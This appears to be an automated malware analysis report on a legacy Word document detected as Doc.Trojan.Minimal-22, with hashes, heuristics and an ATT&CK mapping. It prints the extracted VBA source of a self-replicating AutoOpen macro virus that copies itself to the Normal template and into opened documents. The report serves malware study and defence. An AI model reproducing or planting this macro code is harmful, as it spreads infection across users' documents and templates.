Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a682384755017aeb…

MALICIOUS

Office (OLE)

27.0 KB Created: 1997-02-16 10:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0879c16cb9e762086d495a37f494053f SHA-1: 0b44ad4970661ca9e10375146ba8a0dd129ef565 SHA-256: a682384755017aebbe664dff09dcd939a57f77c8806ad6735e67932f243a18a4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro named 'autoopen'. This macro attempts to copy itself to the Normal template, which is a common persistence technique. The presence of the AutoOpen macro and the legacy WordBasic marker strongly suggests malicious intent, likely to establish a foothold for subsequent malicious activity.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-22 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-22
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 897 bytes
SHA-256: 6c89d9371f6e00c7c14cc3aa65ad230cd8cea314e3a6a2c1c613f13a4feb486d
Detection
ClamAV: Doc.Trojan.Minimal-22
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoopen"
'
' Vesselin Bontchev
'
Function CopyMac(src, Tgt) As Long
On Error GoTo EndCopyMac
Application.OrganizerCopy _
   Source:=src, _
   Destination:=Tgt, _
   Name:="AutoOpen", _
   Object:=wdOrganizerObjectProjectItems
EndCopyMac:
CopyMac = Err.Number
On Error GoTo 0
End Function
Sub MAIN()
doc$ = ActiveDocument.FullName
gen$ = NormalTemplate.FullName
ret = CopyMac(doc$, gen$)
If (ret = 5940) Then
    ret = CopyMac(gen$, doc$)
  If (ret = 0) Then
     ActiveDocument.SaveAs _
        FileName:=doc$, _
        FileFormat:=wdFormatTemplate
  End If
End If
End Sub